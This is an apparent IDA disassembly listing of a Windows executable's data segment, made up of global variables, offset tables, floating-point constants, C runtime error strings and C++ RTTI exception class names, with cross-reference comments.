dword_437F4C	dd 1			; DATA XREF: sub_4159B4:loc_4159BCr
					; sub_4159B4:loc_415A00r ...
byte_437F50	db 2Eh			; DATA XREF: sub_419EF8:loc_419F38r
					; seg000:00419F56r ...
		align 4
		dd 1, 10h
dword_437F5C	dd 3F8h			; DATA XREF: sub_415DE7+5r
					; sub_4174BF+4Dr ...
dword_437F60	dd 14h			; DATA XREF: sub_419C41+2o
off_437F64	dd offset aExp		; DATA XREF: sub_419C41:loc_419C5Er
					; "exp"
		dd 1Dh,	4217A4h, 1Ah, 4217A0h, 1Bh, 421798h, 1Fh, 421790h
		dd 13h,	421788h, 21h, 421780h, 0Eh, 421778h, 0Dh, 421770h
		dd 0Fh,	421768h, 10h, 421760h, 5, 421758h, 1Eh,	421754h
		dd 12h,	421750h, 20h, 42174Ch, 0Ch, 421744h, 0Bh, 42173Ch
		dd 15h,	421734h, 1Ch, 42172Ch, 19h, 421724h, 11h, 42171Ch
		dd 18h,	421714h, 16h, 42170Ch, 17h, 421704h, 22h, 421700h
		dd 23h,	4216FCh, 24h, 4216F8h
dbl_438038	dq 1.797693134862316e308 ; DATA	XREF: sub_41997C+B7r
					; sub_41997C:loc_419A63r ...
		dd 0
		dd 0FFF80000h
dbl_438048	dq 1.797693134862316e308 ; DATA	XREF: sub_41997C+92r
					; sub_41997C:loc_419A3Br ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_438060	dt 2.3562723457267347066e313 ; DATA XREF: sub_419E29+Dr
					; sub_419E29+1Fr
		align 4
tbyte_43806C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419E29+31r
		align 4
off_438078	dd offset sub_41DED9	; DATA XREF: sub_415F33+Fw
					; sub_417D2C+3AAr
off_43807C	dd offset sub_41DED9	; DATA XREF: sub_415F33+5w
					; sub_417D2C+3E2r
off_438080	dd offset sub_41DED9	; DATA XREF: sub_415F33+14w
					; sub_41AD1D+430r
off_438084	dd offset sub_41DED9	; DATA XREF: sub_415F33+1Ew
					; sub_417D2C+3CBr
off_438088	dd offset sub_41DED9	; DATA XREF: sub_415F33+28w
off_43808C	dd offset sub_41DED9	; DATA XREF: sub_415F33+32w
		dd offset word_41DEE2
		align 10h
		dd offset sub_41AB7C
off_4380A4	dd offset sub_41AB7C	; DATA XREF: sub_41ABD2+29r
dword_4380A8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41AD1D:loc_41B284o
dword_4380B0	dd 5Dh,	0		; DATA XREF: sub_41AD1D:loc_41B174o
byte_4380B8	db 1			; DATA XREF: sub_41BFA0+E1r
		db 2, 4, 8
		align 10h
dword_4380C0	dd 3A4h			; DATA XREF: sub_41BFA0+2Fo
dword_4380C4	dd 82798260h, 21h, 0	; DATA XREF: sub_41BFA0+11Dr
dword_4380D0	dd 0DFA6h		; DATA XREF: sub_41BFA0+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4381B0	dd 1			; DATA XREF: sub_41BFA0+3Co
					; sub_41C5B7+Co
dword_4381B4	dd 16h			; DATA XREF: sub_41C5B7:loc_41C5ECr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_438318	dd 0C0000005h		; DATA XREF: sub_41C5B7+19o
					; sub_41C75F+Ar ...
dword_43831C	dd 0Bh			; DATA XREF: sub_41F3A4+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_438390	dd 3			; DATA XREF: seg000:0041C676r
					; sub_41F277+C8r
dword_438394	dd 7			; DATA XREF: seg000:0041C67Cr
					; sub_41F277+CDr
dword_438398	dd 0Ah			; DATA XREF: sub_41C75F+4r
					; sub_41F3A4+4r
dword_43839C	dd 8Ch			; DATA XREF: seg000:0041C6A0r
					; seg000:0041C6ADw ...
dword_4383A0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_417C17:loc_417CD4o
					; sub_41B890:loc_41B911o
dword_4383A8	dd 2			; DATA XREF: sub_41CEF9+Eo
					; sub_41CEF9+28r
off_4383AC	dd offset aR6002FloatingP ; DATA XREF: sub_41CEF9+FCr
					; sub_41CEF9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 421AC4h, 9, 421A98h, 0Ah,	421A74h, 10h, 421A48h
		dd 11h,	421A18h, 12h, 4219F4h, 13h, 4219C8h, 18h, 421990h
		dd 19h,	421968h, 1Ah, 421930h, 1Bh, 4218F8h, 1Ch, 4218D0h
		dd 78h,	4218C0h, 79h, 4218B0h, 7Ah, 4218A0h, 0FCh, 4269C4h
		dd 0FFh, 421890h
off_438438	dd offset dword_469760	; DATA XREF: sub_41CEF9+1Bo
					; sub_41D0B6+55o
		align 10h
		dd offset dword_469760
		dd 101h
dword_438448	dd 2 dup(0)		; DATA XREF: sub_41D0B6+72o
		dd 1000h, 0
dword_438458	dd 3 dup(0)		; DATA XREF: sub_417C17+50o
					; sub_418796+12o
		dd 2, 1, 3 dup(0)
dword_438478	dd 3 dup(0)		; DATA XREF: sub_417C17+58o
					; sub_418796:loc_4187B4o
		dd 2 dup(2), 7 dup(0)
dword_4384A8	dd 84h dup(0)		; DATA XREF: sub_41D0B6+9Bo
dword_4386B8	dd 2694h		; DATA XREF: sub_4195DE+3r
					; sub_419631+46r ...
		align 10h
dword_4386C0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_41DCC2o
dword_4386D8	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41DCD8o
dword_4386F0	dd 7080h		; DATA XREF: sub_41B7CE+76r
					; seg000:0041E1A0w ...
dword_4386F4	dd 1			; DATA XREF: sub_41B7CE+98r
					; seg000:0041E1CDw ...
dword_4386F8	dd 0FFFFF1F0h		; DATA XREF: sub_41B7CE:loc_41B880r
					; seg000:0041E1D6w ...
dword_4386FC	dd 545350h, 0Fh	dup(0)	; DATA XREF: seg002:off_43877Co
dword_43873C	dd 544450h, 0Fh	dup(0)	; DATA XREF: seg002:off_438780o
off_43877C	dd offset dword_4386FC	; DATA XREF: seg000:0041E1FCr
					; seg000:0041E21Br ...
off_438780	dd offset dword_43873C	; DATA XREF: seg000:0041E236r
					; seg000:0041E25Dr ...
		align 8
dword_438788	dd 0FFFFFFFFh		; DATA XREF: seg000:0041E15Fw
					; sub_41E3A0+1Er ...
dword_43878C	dd 0			; DATA XREF: sub_41E3A0:loc_41E4D4r
					; sub_41E54C+BFw
dword_438790	dd 0			; DATA XREF: sub_41E3A0+192r
					; sub_41E54C+E0w
		align 8
dword_438798	dd 0FFFFFFFFh		; DATA XREF: seg000:0041E159w
					; sub_41E3A0+26r ...
dword_43879C	dd 0			; DATA XREF: sub_41E3A0+13Ar
					; sub_41E54C+EAw ...
dword_4387A0	dd 0			; DATA XREF: sub_41E3A0+1A1r
					; sub_41E54C+23r ...
dword_4387A4	dd 0FFFFFFFFh		; DATA XREF: sub_41E54C+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_4387D4	dd 16Dh			; DATA XREF: sub_41B7CE+2Ar
					; sub_41E54C+2Er ...
dword_4387D8	dd 0FFFFFFFFh		; DATA XREF: sub_41E54C:loc_41E5D8r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_438810	dd 2 dup(0)		; DATA XREF: sub_41F6FC+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_438970	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41F6FC+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_438AD0	dd offset off_421CB4	; DATA XREF: seg001:off_421CD8o
					; seg001:00421E04o ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_438AE8	dd offset off_421CB4	; DATA XREF: seg001:off_421CF0o
					; seg001:00421D84o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_438B08	dd offset off_421CB4	; DATA XREF: seg001:off_421D08o
					; seg001:00421D4Co ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_438B28	dd offset off_421CB4	; DATA XREF: seg001:off_421D90o
					; seg001:00421DD4o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_438B48	dd offset off_421CB4	; DATA XREF: seg001:off_421E10o
					; seg001:00421E4Co
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset word_41DEE2
		align 8
byte_438B68	db 0			; DATA XREF: seg000:0040161Aw
					; seg000:00401719o
		align 2
word_438B6A	dw 0			; DATA XREF: seg000:0040162Aw
word_438B6C	dw 0			; DATA XREF: seg000:00401630w
word_438B6E	dw 0			; DATA XREF: seg000:00401637w
byte_438B70	db 0			; DATA XREF: seg000:0040163Ew
byte_438B71	db 0			; DATA XREF: seg000:00401645w
word_438B72	dw 0			; DATA XREF: seg000:0040164Bw
dword_438B74	dd 0			; DATA XREF: seg000:0040167Bw
					; seg000:00401697w
dword_438B78	dd 0			; DATA XREF: seg000:0040169Fw
byte_438B7C	db 0			; DATA XREF: seg000:004016B1w
byte_438B7D	db 0			; DATA XREF: seg000:004016C4w
word_438B7E	dw 0			; DATA XREF: seg000:004016DCw
word_438B80	dw 0			; DATA XREF: seg000:004016EBw
word_438B82	dw 0			; DATA XREF: seg000:004016E3w
dword_438B84	dd 101h	dup(0)		; DATA XREF: seg000:00401700o
dword_438F88	dd 0			; DATA XREF: sub_402FDD+9Eo
byte_438F8C	db 0			; DATA XREF: sub_402FDD+36r
					; sub_4030C0+37r ...
		align 10h
dword_438F90	dd 0			; DATA XREF: seg000:004036E4w
					; sub_4036EB+30r ...
		dd 2 dup(0)
dword_438F9C	dd 2 dup(0)		; DATA XREF: sub_404532+68o
dword_438FA4	dd 0			; DATA XREF: sub_403FD2+13o
					; seg000:004129ACo ...
dword_438FA8	dd 0			; DATA XREF: sub_4059F0+2Aw
					; sub_4059F0+51r ...
dword_438FAC	dd 0			; DATA XREF: sub_4036EB+AEr
					; seg000:0040494Cr ...
		dd 2 dup(0)
dword_438FB8	dd 0			; DATA XREF: sub_4071E3+18r
					; sub_407636+92w ...
dword_438FBC	dd 0			; DATA XREF: sub_40776F+4Dr
					; seg000:00407A5Cw ...
		dd 256h	dup(0)
dword_439918	dd 6 dup(0)		; DATA XREF: sub_40776F+CFo
					; sub_40776F+138o ...
dword_439930	dd 0			; DATA XREF: seg000:004072DCw
					; seg000:0040735Co
dword_439934	dd 41h dup(0)		; DATA XREF: seg000:0040729Bo
byte_439A38	db 0			; DATA XREF: seg000:004072BCw
		align 4
		dd 40h dup(0)
dword_439B3C	dd 0			; DATA XREF: seg000:00407352w
					; seg000:0040736Er
dword_439B40	dd 0			; DATA XREF: seg000:004072ACw
dword_439B44	dd 0			; DATA XREF: seg000:004072A7w
					; seg000:00407329r
dword_439B48	dd 20h dup(0)		; DATA XREF: seg000:004072F4o
					; seg000:00407314o
dword_439BC8	dd 0			; DATA XREF: seg000:004072E9w
dword_439BCC	dd 0			; DATA XREF: seg000:00407301w
					; seg000:00407321w
dword_439BD0	dd 0			; DATA XREF: seg000:loc_407384r
		align 8
dword_439BD8	dd 0			; DATA XREF: seg000:0040752Fw
					; seg000:00407588o
dword_439BDC	dd 0A2h	dup(0)		; DATA XREF: seg000:0040751Do
dword_439E64	dd 41h dup(0)		; DATA XREF: seg000:004074E7o
dword_439F68	dd 0			; DATA XREF: seg000:00407514w
					; seg000:0040753Br
		align 10h
dword_439F70	dd 0			; DATA XREF: seg000:0040757Ew
					; seg000:0040759Bo
dword_439F74	dd 0			; DATA XREF: seg000:00407541w
dword_439F78	dd 0			; DATA XREF: seg000:0040754Ew
dword_439F7C	dd 0			; DATA XREF: seg000:0040750Ew
		dd 0
dword_439F84	dd 0			; DATA XREF: seg000:loc_4075B0r
dword_439F88	dd 0			; DATA XREF: seg000:004073FBw
					; seg000:0040747Bo
dword_439F8C	dd 41h dup(0)		; DATA XREF: seg000:004073BDo
byte_43A090	db 0			; DATA XREF: seg000:004073DBw
		align 4
		dd 40h dup(0)
dword_43A194	dd 0			; DATA XREF: seg000:00407471w
dword_43A198	dd 0			; DATA XREF: seg000:004073CBw
dword_43A19C	dd 0			; DATA XREF: seg000:00407448r
dword_43A1A0	dd 20h dup(0)		; DATA XREF: seg000:00407413o
					; seg000:00407433o
dword_43A220	dd 0			; DATA XREF: seg000:00407408w
dword_43A224	dd 0			; DATA XREF: seg000:00407420w
					; seg000:00407440w
		align 10h
dword_43A230	dd 0			; DATA XREF: sub_4089D6+489w
					; sub_4089D6+4CDr
dword_43A234	dd 0			; DATA XREF: sub_4089D6+65w
					; sub_413DB8+F5r
dword_43A238	dd 0			; DATA XREF: sub_4089D6+7EDw
					; sub_4089D6+862r ...
dword_43A23C	dd 0			; DATA XREF: sub_4089D6+9BAw
					; sub_4089D6+A18r ...
dword_43A240	dd 0			; DATA XREF: sub_4089D6+96Cw
					; sub_4089D6+9E8r ...
dword_43A244	dd 0			; DATA XREF: sub_4089D6+46Fw
					; sub_4089D6+4BDr
dword_43A248	dd 0			; DATA XREF: seg000:004022E7r
					; seg000:00402304r ...
dword_43A24C	dd 0			; DATA XREF: sub_4089D6+9ADw
					; sub_4089D6+A10r ...
dword_43A250	dd 0			; DATA XREF: sub_4089D6+354w
					; sub_4089D6+3A9r ...
dword_43A254	dd 0			; DATA XREF: sub_4089D6+3F1w
					; sub_40AAB5+11Er
dword_43A258	dd 0			; DATA XREF: sub_4089D6+361w
					; sub_4089D6+3B1r ...
dword_43A25C	dd 0			; DATA XREF: sub_4089D6+3A2w
					; sub_4133A6+ADr
dword_43A260	dd 0			; DATA XREF: seg000:00405C1Cr
					; seg000:00408534r ...
dword_43A264	dd 0			; DATA XREF: sub_4089D6+72w
					; sub_4089D6+D2r ...
dword_43A268	dd 0			; DATA XREF: sub_4089D6+95Fw
					; sub_4089D6+9DBr ...
dword_43A26C	dd 0			; DATA XREF: sub_4089D6+388w
					; sub_4089D6+3C9r ...
dword_43A270	dd 0			; DATA XREF: sub_4089D6+83Bw
					; sub_4089D6+88Er ...
dword_43A274	dd 0			; DATA XREF: sub_4085B7+58r
					; sub_4089D6+2A5w ...
dword_43A278	dd 0			; DATA XREF: sub_4089D6+82Ew
					; sub_4089D6+886r ...
dword_43A27C	dd 0			; DATA XREF: sub_4089D6+B3w
dword_43A280	dd 0			; DATA XREF: sub_4089D6+848w
					; sub_4089D6+896r ...
dword_43A284	dd 0			; DATA XREF: seg000:00407C60r
					; sub_4089D6+52Fw ...
dword_43A288	dd 0			; DATA XREF: sub_4089D6+58w
					; sub_4089D6+CAr ...
dword_43A28C	dd 0			; DATA XREF: sub_4089D6+916w
					; seg000:0040A315r
dword_43A290	dd 0			; DATA XREF: sub_4089D6+A66w
					; sub_4089D6+A6Dr ...
dword_43A294	dd 0			; DATA XREF: sub_4089D6+A6w
					; sub_4089D6+F2r
dword_43A298	dd 0			; DATA XREF: sub_4089D6+462w
					; sub_4089D6+4B5r
dword_43A29C	dd 0			; DATA XREF: sub_4075EE+20r
					; sub_4089D6+5D8w
dword_43A2A0	dd 0			; DATA XREF: sub_4089D6+9A0w
					; sub_4089D6+A08r
dword_43A2A4	dd 0			; DATA XREF: seg000:0040275Cr
					; sub_4089D6+5CBw ...
dword_43A2A8	dd 0			; DATA XREF: sub_4030C0+9Ar
					; sub_4089D6+B21w
dword_43A2AC	dd 0			; DATA XREF: sub_4089D6+7E0w
					; sub_4089D6+84Fr
dword_43A2B0	dd 0			; DATA XREF: sub_4089D6+1B3w
					; sub_409DD7+15r
dword_43A2B4	dd 0			; DATA XREF: sub_4089D6+979w
					; sub_4089D6+9F0r ...
dword_43A2B8	dd 0			; DATA XREF: sub_4089D6+36Ew
					; sub_4089D6+3B9r ...
dword_43A2BC	dd 0			; DATA XREF: sub_4089D6+37Bw
					; sub_4089D6+3C1r ...
dword_43A2C0	dd 0			; DATA XREF: sub_4089D6+C56w
					; sub_4089D6+C5Dr
dword_43A2C4	dd 0			; DATA XREF: sub_4089D6+68Ew
dword_43A2C8	dd 0			; DATA XREF: seg000:loc_4013DDr
					; sub_4018CA:loc_401B70r ...
dword_43A2CC	dd 0			; DATA XREF: sub_4089D6+496w
dword_43A2D0	dd 0			; DATA XREF: sub_4089D6+9C7w
					; sub_4089D6+A20r ...
dword_43A2D4	dd 0			; DATA XREF: sub_4089D6+2B2w
					; sub_4089D6+2DEr ...
dword_43A2D8	dd 0			; DATA XREF: sub_4089D6+7Fw
					; sub_4089D6+DAr ...
dword_43A2DC	dd 0			; DATA XREF: sub_4089D6+B6Ew
					; sub_4089D6+B75r ...
dword_43A2E0	dd 0			; DATA XREF: seg000:004010E1r
					; sub_4018CA+2Fr ...
dword_43A2E4	dd 0			; DATA XREF: sub_4089D6+807w
					; sub_4089D6+872r ...
dword_43A2E8	dd 0			; DATA XREF: sub_4089D6+986w
					; sub_4089D6+9F8r
dword_43A2EC	dd 0			; DATA XREF: sub_404F08+3Er
					; sub_404F08+70r ...
dword_43A2F0	dd 0			; DATA XREF: seg000:0040223Br
					; seg000:0040225Er ...
dword_43A2F4	dd 0			; DATA XREF: sub_4089D6+8FCw
					; sub_4089D6+910r ...
dword_43A2F8	dd 0			; DATA XREF: sub_4089D6+BF9w
dword_43A2FC	dd 0			; DATA XREF: seg000:loc_4013A7r
					; seg000:00401483r ...
dword_43A300	dd 0			; DATA XREF: sub_4089D6+821w
					; sub_4089D6+855r
dword_43A304	dd 0			; DATA XREF: seg000:0040224Br
					; seg000:00402273r ...
dword_43A308	dd 0			; DATA XREF: sub_4089D6+172w
					; sub_4089D6+1C2r
dword_43A30C	dd 0			; DATA XREF: sub_4089D6+65Aw
					; sub_4089D6+786r ...
dword_43A310	dd 0			; DATA XREF: seg000:004035D5r
					; sub_4036EB+5Er ...
dword_43A314	dd 0			; DATA XREF: seg000:0040264Ar
					; sub_4089D6+549w ...
dword_43A318	dd 0			; DATA XREF: sub_4089D6+8BDw
					; sub_4089D6:loc_4092B1w ...
dword_43A31C	dd 0			; DATA XREF: sub_4089D6+28Bw
					; sub_4089D6+2C6r ...
dword_43A320	dd 0			; DATA XREF: seg000:00407E02r
					; sub_4089D6+681w ...
dword_43A324	dd 0			; DATA XREF: sub_4089D6+30Fw
					; sub_4089D6+323r ...
dword_43A328	dd 0			; DATA XREF: sub_4089D6+395w
					; sub_4089D6+3D1r ...
dword_43A32C	dd 0			; DATA XREF: sub_404F08+176r
					; sub_404F08+1AAr ...
dword_43A330	dd 0			; DATA XREF: sub_4089D6+7FAw
					; sub_4089D6+86Ar ...
dword_43A334	dd 0			; DATA XREF: seg000:004022F7r
					; sub_4089D6+206w ...
dword_43A338	dd 0			; DATA XREF: sub_4089D6+18Cw
					; sub_4089D6+1D2r ...
dword_43A33C	dd 0			; DATA XREF: sub_4089D6+814w
					; sub_4089D6+87Ar ...
dword_43A340	dd 0			; DATA XREF: sub_406C22+244r
					; sub_4089D6+606w ...
dword_43A344	dd 0			; DATA XREF: sub_4085B7+19Br
					; sub_4089D6+2BFw ...
dword_43A348	dd 0			; DATA XREF: seg000:00401121r
					; seg000:004014F1r ...
dword_43A34C	dd 0			; DATA XREF: sub_4089D6+302w
					; sub_4089D6+316r ...
dword_43A350	dd 0			; DATA XREF: seg000:00405C00r
					; sub_406C22+1FCr ...
dword_43A354	dd 0			; DATA XREF: sub_4089D6+42Ew
					; sub_4089D6+490r
dword_43A358	dd 0			; DATA XREF: sub_4089D6+199w
					; sub_4089D6+1DAr ...
dword_43A35C	dd 0			; DATA XREF: sub_4089D6+347w
					; sub_4089D6+39Cr ...
dword_43A360	dd 0			; DATA XREF: sub_4089D6+A73w
dword_43A364	dd 0			; DATA XREF: seg000:0040119Dr
					; seg000:004012ABr ...
dword_43A368	dd 0			; DATA XREF: seg000:00401139r
					; seg000:0040114Fr ...
dword_43A36C	dd 0			; DATA XREF: sub_4089D6+4Bw
					; sub_4089D6+C2r ...
dword_43A370	dd 0			; DATA XREF: sub_4089D6+455w
					; sub_4089D6+4ADr
dword_43A374	dd 0			; DATA XREF: sub_4089D6+165w
					; sub_4089D6+1BAr ...
dword_43A378	dd 0			; DATA XREF: sub_4089D6+9E1w
					; sub_413C8F+72r
dword_43A37C	dd 0			; DATA XREF: sub_4089D6+667w
					; sub_4089D6+78Er
dword_43A380	dd 0			; DATA XREF: seg000:004026E1r
					; seg000:00403606r ...
dword_43A384	dd 0			; DATA XREF: sub_404F08+1BDr
					; sub_404F08+229r ...
dword_43A388	dd 0			; DATA XREF: sub_4089D6+3Ew
					; sub_4089D6+BAr ...
dword_43A38C	dd 0			; DATA XREF: sub_4089D6+298w
					; sub_4089D6+2CEr ...
dword_43A390	dd 0			; DATA XREF: seg000:00405BA5r
					; seg000:00407C7Er ...
dword_43A394	dd 0			; DATA XREF: seg000:004025C7r
					; seg000:00405B90r ...
dword_43A398	dd 0			; DATA XREF: sub_4089D6+C63w
dword_43A39C	dd 0			; DATA XREF: sub_4089D6+85Bw
					; sub_40AE2F+205r ...
dword_43A3A0	dd 0			; DATA XREF: sub_4089D6+112w
dword_43A3A4	dd 0			; DATA XREF: sub_404F08+102r
					; sub_4089D6+BB8w ...
dword_43A3A8	dd 0			; DATA XREF: seg000:00401560r
					; seg000:004015E7r ...
dword_43A3AC	dd 0			; DATA XREF: sub_4089D6+43Bw
					; sub_4089D6+49Dr
dword_43A3B0	dd 0			; DATA XREF: sub_4089D6+47Cw
					; sub_4089D6+4C5r
dword_43A3B4	dd 0			; DATA XREF: sub_4089D6+448w
					; sub_4089D6+4A5r
dword_43A3B8	dd 0			; DATA XREF: seg000:004035ECr
					; seg000:00403614r ...
dword_43A3BC	dd 0			; DATA XREF: sub_4089D6+1A6w
					; sub_4089D6+1E2r ...
dword_43A3C0	dd 0			; DATA XREF: sub_4089D6+9D4w
					; sub_4089D6+A28r ...
dword_43A3C4	dd 0			; DATA XREF: sub_4089D6+158w
					; sub_4089D6+1ADr ...
dword_43A3C8	dd 0			; DATA XREF: sub_4089D6+8Cw
					; sub_4089D6+E2r ...
dword_43A3CC	dd 0			; DATA XREF: seg000:00401374r
					; seg000:00401721r ...
dword_43A3D0	dd 0			; DATA XREF: sub_4089D6+B14w
					; sub_4089D6+B30r
dword_43A3D4	dd 0			; DATA XREF: sub_4089D6+31Cw
					; sub_413D4D+55r
dword_43A3D8	dd 0			; DATA XREF: sub_4085B7+3Fr
					; sub_4089D6+27Ew ...
dword_43A3DC	dd 0			; DATA XREF: sub_4089D6+B7Bw
dword_43A3E0	dd 0			; DATA XREF: sub_4089D6+ABDw
					; sub_40A077+CEr
dword_43A3E4	dd 0			; DATA XREF: sub_4089D6+AB0w
					; sub_4089D6+AB7r ...
dword_43A3E8	dd 0			; DATA XREF: seg000:00401475r
					; seg000:00401C2Br ...
dword_43A3EC	dd 0			; DATA XREF: seg000:00407DF2r
					; sub_4089D6+674w ...
dword_43A3F0	dd 0			; DATA XREF: sub_404F08+55r
					; sub_4089D6+BC5w ...
dword_43A3F4	dd 0			; DATA XREF: seg000:00402769r
					; sub_406C22+250r ...
dword_43A3F8	dd 0			; DATA XREF: sub_4089D6+993w
					; sub_4089D6+A00r ...
dword_43A3FC	dd 0			; DATA XREF: seg000:00405C41r
					; seg000:loc_407C95r ...
dword_43A400	dd 0			; DATA XREF: seg000:004013D6r
					; seg000:00401737r ...
dword_43A404	dd 0			; DATA XREF: seg000:00405BBEr
					; seg000:00405EA6r ...
dword_43A408	dd 0			; DATA XREF: sub_402FDD+B0r
					; sub_402FDD+C8r ...
dword_43A40C	dd 0			; DATA XREF: seg000:00401101r
					; sub_4018CA+4Fr ...
dword_43A410	dd 0			; DATA XREF: sub_4089D6+AFAw
					; sub_4089D6+B1Br
dword_43A414	dd 0			; DATA XREF: sub_4089D6+31w
					; sub_4089D6+ADr ...
dword_43A418	dd 0			; DATA XREF: sub_4089D6+17Fw
					; sub_4089D6+1CAr
		align 10h
dword_43A420	dd 0			; DATA XREF: sub_4089D6+909w
					; sub_4089D6+91Dr ...
dword_43A424	dd 0			; DATA XREF: sub_4089D6+99w
					; sub_4089D6+EAr ...
dword_43A428	dd 0			; DATA XREF: sub_4089D6:loc_408AD4w
					; sub_4089D6+12Bw ...
dword_43A42C	dd 0			; DATA XREF: sub_4089D6+126w
					; sub_409663+1Cr
dword_43A430	dd 0			; DATA XREF: sub_4089D6:loc_408BC4w
					; sub_4089D6:loc_408C2Bw ...
dword_43A434	dd 0			; DATA XREF: sub_4089D6+250w
					; sub_409663+50r
dword_43A438	dd 0			; DATA XREF: sub_4089D6:loc_408CC0w
					; sub_4089D6:loc_408D05w ...
dword_43A43C	dd 0			; DATA XREF: sub_4089D6+400w
					; sub_409663+84r
